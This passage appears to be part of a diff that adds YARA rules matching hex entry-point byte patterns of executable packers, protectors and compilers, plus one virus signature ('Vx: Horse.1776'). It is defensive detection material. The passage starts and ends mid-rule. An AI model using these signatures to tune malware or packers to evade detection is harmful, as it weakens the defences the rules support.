+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Lock_NT_v204_
+{
+	meta:
+		description = "PE Lock NT v2.04"
+	strings:
+		$0 = {EB ?? ?? BE ?? ?? BF ?? ?? 2E}
+		$1 = {EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SDC_12_Self_Decrypting_Binary_Generator__by_Claes_M_Nyberg_
+{
+	meta:
+		description = "SDC 1.2 (Self Decrypting Binary Generator) - by Claes M Nyberg"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00 00 85 C0 0F 85 A9 00 00 00 31 C0 83 C4 14 5B 5D C2 04 00 3D 94 00 00 C0 74 56 3D 96 00 00 C0 74 1E 3D 93 00 00 C0 75 E1 EB B5 3D 05 00 00 C0 8D B4 26 00 00 00 00 74 43 3D 1D 00 00 C0 75 CA C7 44 24 04 00 00 00 00 C7 04 24 04 00 00 00 E8 73 24 00 00 83 F8 01 0F 84 99 00 00 00 85 C0 74 A9 C7 04 24 04 00 00 00 FF D0 B8 FF FF FF FF EB 9B 31 DB 8D 74 26 00 E9 69 FF FF FF C7 44 24 04 00 00 00 00 C7 04 24 0B 00 00 00 E8 37 24 00 00 83 F8 01 74 7F 85 C0 0F 84 6D FF FF FF C7 04 24 0B 00 00 00 8D 76 00 FF D0 B8 FF FF FF FF E9 59 FF FF FF C7 04 24 08 00 00 00 FF D0 B8 FF FF FF FF E9 46 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 08 00 00 00 E8 ED 23 00 00 B8 FF FF FF FF 85 DB 0F 84 25 FF FF FF E8 DB 15 00 00 B8 FF FF FF FF E9 16 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 04 00 00 00 E8 BD 23 00 00 B8 FF FF FF FF E9 F8 FE FF FF C7 44 24 04 01 00 00 00 C7 04 24 0B 00 00 00 E8 9F 23 00 00 B8 FF FF FF FF E9 DA FE FF FF}
+		$1 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00 00 85 C0 0F 85 A9 00 00 00 31 C0 83 C4 14 5B 5D C2 04 00 3D 94 00 00 C0 74 56 3D 96 00 00 C0 74 1E 3D 93 00 00 C0 75 E1 EB B5 3D 05 00 00 C0 8D B4 26 00 00 00 00 74 43 3D 1D 00 00 C0 75 CA C7 44 24 04 00 00 00 00 C7 04 24 04 00 00 00 E8 73 24 00 00 83 F8 01 0F 84 99 00 00 00 85 C0 74 A9 C7 04 24 04 00 00 00 FF D0 B8 FF FF FF FF EB 9B 31 DB 8D 74 26 00 E9 69 FF FF FF C7 44 24 04 00 00 00 00 C7 04 24 0B 00 00 00 E8 37 24 00 00 83 F8 01 74 7F 85 C0 0F 84 6D FF FF FF C7 04 24 0B 00 00 00 8D 76 00 FF D0 B8 FF FF FF FF E9 59 FF FF FF C7 04 24 08 00 00 00 FF D0 B8 FF FF FF FF E9 46 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 08 00 00 00 E8 ED 23 00 00 B8 FF FF FF FF 85 DB 0F 84 25 FF FF FF E8 DB 15 00 00 B8 FF FF FF FF E9 16 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 04 00 00 00 E8 BD 23 00 00 B8 FF FF FF FF E9 F8 FE FF FF C7 44 24 04 01 00 00 00 C7 04 24 0B 00 00 00 E8 9F 23 00 00 B8 FF FF FF FF E9 DA FE FF FF}
+		$2 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Armadillo_v265b1_
+{
+	meta:
+		description = "Armadillo v2.65b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4}
+		$1 = {55 8B EC 6A FF 68 38 ?? ?? ?? 68 40 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 F4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EncryptPE_2200461622006630__WFS_
+{
+	meta:
+		description = "EncryptPE 2.2004.6.16-2.2006.6.30 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SLVc0deProtector_v061__SLV_
+{
+	meta:
+		description = "SLVc0deProtector v0.61 -> SLV"
+	strings:
+		$0 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00}
+		$1 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD FF FF FF 38 E8 E3 FF FF FF 66 E8 0D 00 00 00 04 E8 E3 FF FF FF 70 E8 CB FF FF FF 69 E8 DD FF FF FF 58 E8 DD FF FF FF 69 E8 E3 FF FF FF 79 E8 BF FF FF FF 69 83 C4 40 E8 00 00 00 00 5D 81 ED 9D 11 40 00 8D 95 B4 11 40 00 E8 CB 2E 00 00 33 C0 F7 F0 69 8D B5 05 12 40 00 B9 5D 2E 00 00 8B FE AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ARVIDs_TDR_file_
+{
+	meta:
+		description = "ARVID's TDR file"
+	strings:
+		$0 = {74 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v71_EXE_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.1 EXE"
+	strings:
+		$0 = {6A ?? 68 ?? ?? ?? 01 E8 ?? ?? 00 00 66 81 3D 00 00 00 01 4D 5A 75 ?? A1 3C 00 00 01 ?? ?? 00 00 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Basic_50__60_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Basic 5.0 - 6.0"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9}
+		$1 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V121_aPlib_043__ap0x____20080504_
+{
+	meta:
+		description = "RLPack V1.21 (aPlib 0.43) -> ap0x   * 20080504"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 D6 05 00 00 EB 0C 8B 85 D2 05 00 00 89 85 D6 05 00 00 E8 4C 01 00 00 8D B5 FE 05 00 00 8D 9D 85 04 00 00 33 FF E8 77 01 00 00 EB 1B 8B 85 D6 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD E2 05 00 00 00 74 0E 83 BD E6 05 00 00 00 74 05 E8 15 02 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 6B 05 00 00 89 85 FA 05 00 00 5B FF B5 FA 05 00 00 56 FF D3 83 C4 08 8B B5 FA 05 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD D6 05 00 00 83 C0 04 89 85 F6 05 00 00 EB 6E 56 FF 95 63 05 00 00 0B C0 75 05 E8 08 03 00 00 85 C0 0F 84 95 00 00 00 89 85 F2 05 00 00 8B C6 EB 2A 8B 85 F6 05 00 00 8B 00 50 FF B5 F2 05 00 00 E8 50 02 00 00 85 C0 74 73 89 07 83 85 F6 05 00 00 04 83 C7 04 8B 85 F6 05 00 00 83 38 00 75 D1 EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD D6 05 00 00 83 C0 04 89 85 F6 05 00 00 80 3E 01 75 8D 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 FA 05 00 00 FF 95 6F 05 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 FA 05 00 00 FF 95 6F 05 00 00 E8 A0 00 00 00 E8 9B 01 00 00 61 E9 ?? ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _DalKrypt_10__by_DalKiT_
+{
+	meta:
+		description = "DalKrypt 1.0 - by DalKiT"
+	strings:
+		$0 = {68 00 10 40 00 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+		$1 = {68 ?? ?? ?? ?? 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+		$2 = {68 00 10 40 00 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _MEW_11_SE_v11_
+{
+	meta:
+		description = "MEW 11 SE v1.1"
+	strings:
+		$0 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00}
+		$1 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v70_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _EPExE_Pack_V10__6aHguT__gluk_
+{
+	meta:
+		description = "!EP(ExE Pack) V1.0 -> 6aHguT & g-l-u-k"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+		$1 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3}
+		$2 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _CRYPToCRACks_PE_Protector_V092__Lukas_Fleischer_
+{
+	meta:
+		description = "CRYPToCRACk's PE Protector V0.9.2 -> Lukas Fleischer"
+	strings:
+		$0 = {E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v013__XLock_
+{
+	meta:
+		description = "XCR v0.13 -> X-Lock"
+	strings:
+		$0 = {93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 00 00 00 ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _XXPack_01__bagie_
+{
+	meta:
+		description = "XXPack 0.1 -> bagie"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 00 68 00 ?? ?? ?? C3}
+		$1 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 00 68 00 ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _EXE_Manager_Version_30_1994_c_Solar_Designer_
+{
+	meta:
+		description = "EXE Manager Version 3.0 1994 (c) Solar Designer"
+	strings:
+		$0 = {B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2}
+		$1 = {B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeJoiner_V10__Yoda_f2f_
+{
+	meta:
+		description = "ExeJoiner V1.0 -> Yoda f2f"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_03__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 0.3 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_21522X__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector 2.15-2.2X -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _DZA_Patcher_v13__DZA_
+{
+	meta:
+		description = "DZA Patcher v1.3 -> DZA"
+	strings:
+		$0 = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00}
+		$1 = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00 8D BD A4 74 40 00 E8 72 00 00 00 89 85 84 74 40 00 8D BD F0 73 40 00 57 FF D0 8D BD 99 74 40 00 E8 58 00 00 00 89 85 88 74 40 00 8B 85 78 74 40 00 03 85 70 74 40 00 99 8D 8D 6C 74 40 00 51 52 52 50 52 52 FF 95 80 74 40 00 8D BD C0 74 40 00 8B 0F E3 13 8A 5F 05 8A 01 3A C3 75 FA 8A 57 04 88 11 83 C7 06 EB E9 E8 00 00 00 00 5D 81 ED F5 73 40 00 6A 00 FF 95 88 74 40 00 61 C3 8B D3 0F B7 43 3C 03 D8 8B 5B 78 03 DA 0B FF 74 40 8B 73 20 03 F2 8B 4B 18 53 33 DB AD 03 C2 56 57 87 FE 97 AC 0A C0 75 07 80 3F 00 74 0B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Horse1776_
+{
+	meta:
+		description = "Vx: Horse.1776"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ?? ?? 06 1E 26 ?? ?? ?? ?? BF ?? ?? 1E 0E 1F 8B F7 01 EE B9 ?? ?? FC F3 A6 1F 1E 07}
+		$1 = {E8 ?? ?? 5D 83 ?? ?? 06 1E 26 ?? ?? ?? ?? BF ?? ?? 1E 0E 1F 8B F7 01 EE B9 ?? ?? FC F3 A6 1F 1E 07}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Turbo_or_Borland_Pascal_v7x_Unit_
+{
+	meta:
+		description = "Turbo or Borland Pascal v7.x Unit"
+	strings:
+		$0 = {54 50 55 51 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_112_EXE_
+{
+	meta:
+		description = "HackStop 1.12 [EXE]"
+	strings:
+		$0 = {52 1E B4 30 CD 21 86 E0 3D FF 02 73 02 CD 20 0E 1F B4 09 E8 03 00 24 24 EA 5A CD 21 1F 5A 53 BB EB 04 5B EB FB 9A E8 7B 06 55 FA 8B EC C7 46 FE 00 00 8B 46 FE 50 9C 16 17 9D FB 58 A9 00 01 74 06 B0 FF B4 4C CD 21 5D E8 41 00 8D E8 E6 06 11}
+	condition:
+		$0 at entrypoint
+}
+rule _PH_Icons_file_Trilobyte_
+{
+	meta:
+		description = "PH Icons file (Trilobyte)"
+	strings:
+		$0 = {69 63 6F 6E 01 00 10 00 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_2609__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.609 -> Jitit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB AD 19 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 1C 00 00 68 80 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00}
+		$1 = {E8 00 00 00 00 58 BB AD 19 00 00 2B C3 50 68 ?? ?? ?? ?? 68 B0 1C 00 00 68 80 00 00 00 E8 35 FF FF FF E9 99 FF FF FF 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_099__tE_
+{
+	meta:
+		description = "tElock 0.99 -> tE!"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05}
+		$1 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yodas_Protector_102__103__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector 1.02 - 1.03 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00}
+		$1 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPolyX_v05_
+{
+	meta:
+		description = "UPolyX v0.5"
+	strings:
+		$0 = {83 EC 04 89 ?? 24 59 ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$1 = {55 8B EC ?? 00 BD 46 00 8B ?? B9 ?? 00 00 00 80 ?? ?? 51 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {83 EC 04 89 14 24 59 BA ?? 00 00 00 52 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$3 = {BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$4 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 ?? 00 BD 46 00 83 EC 04 89 ?? 24 B9 ?? 00 00 00 81 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$5 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 ?? 00 BD 46 00 ?? B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$6 = {EB 01 C3 ?? 00 BD 46 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$7 = {00 BD 46 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$8 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 ?? 00 BD 46 00 83 EC 04 89 ?? 24 B9 ?? 00 00 00 81 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
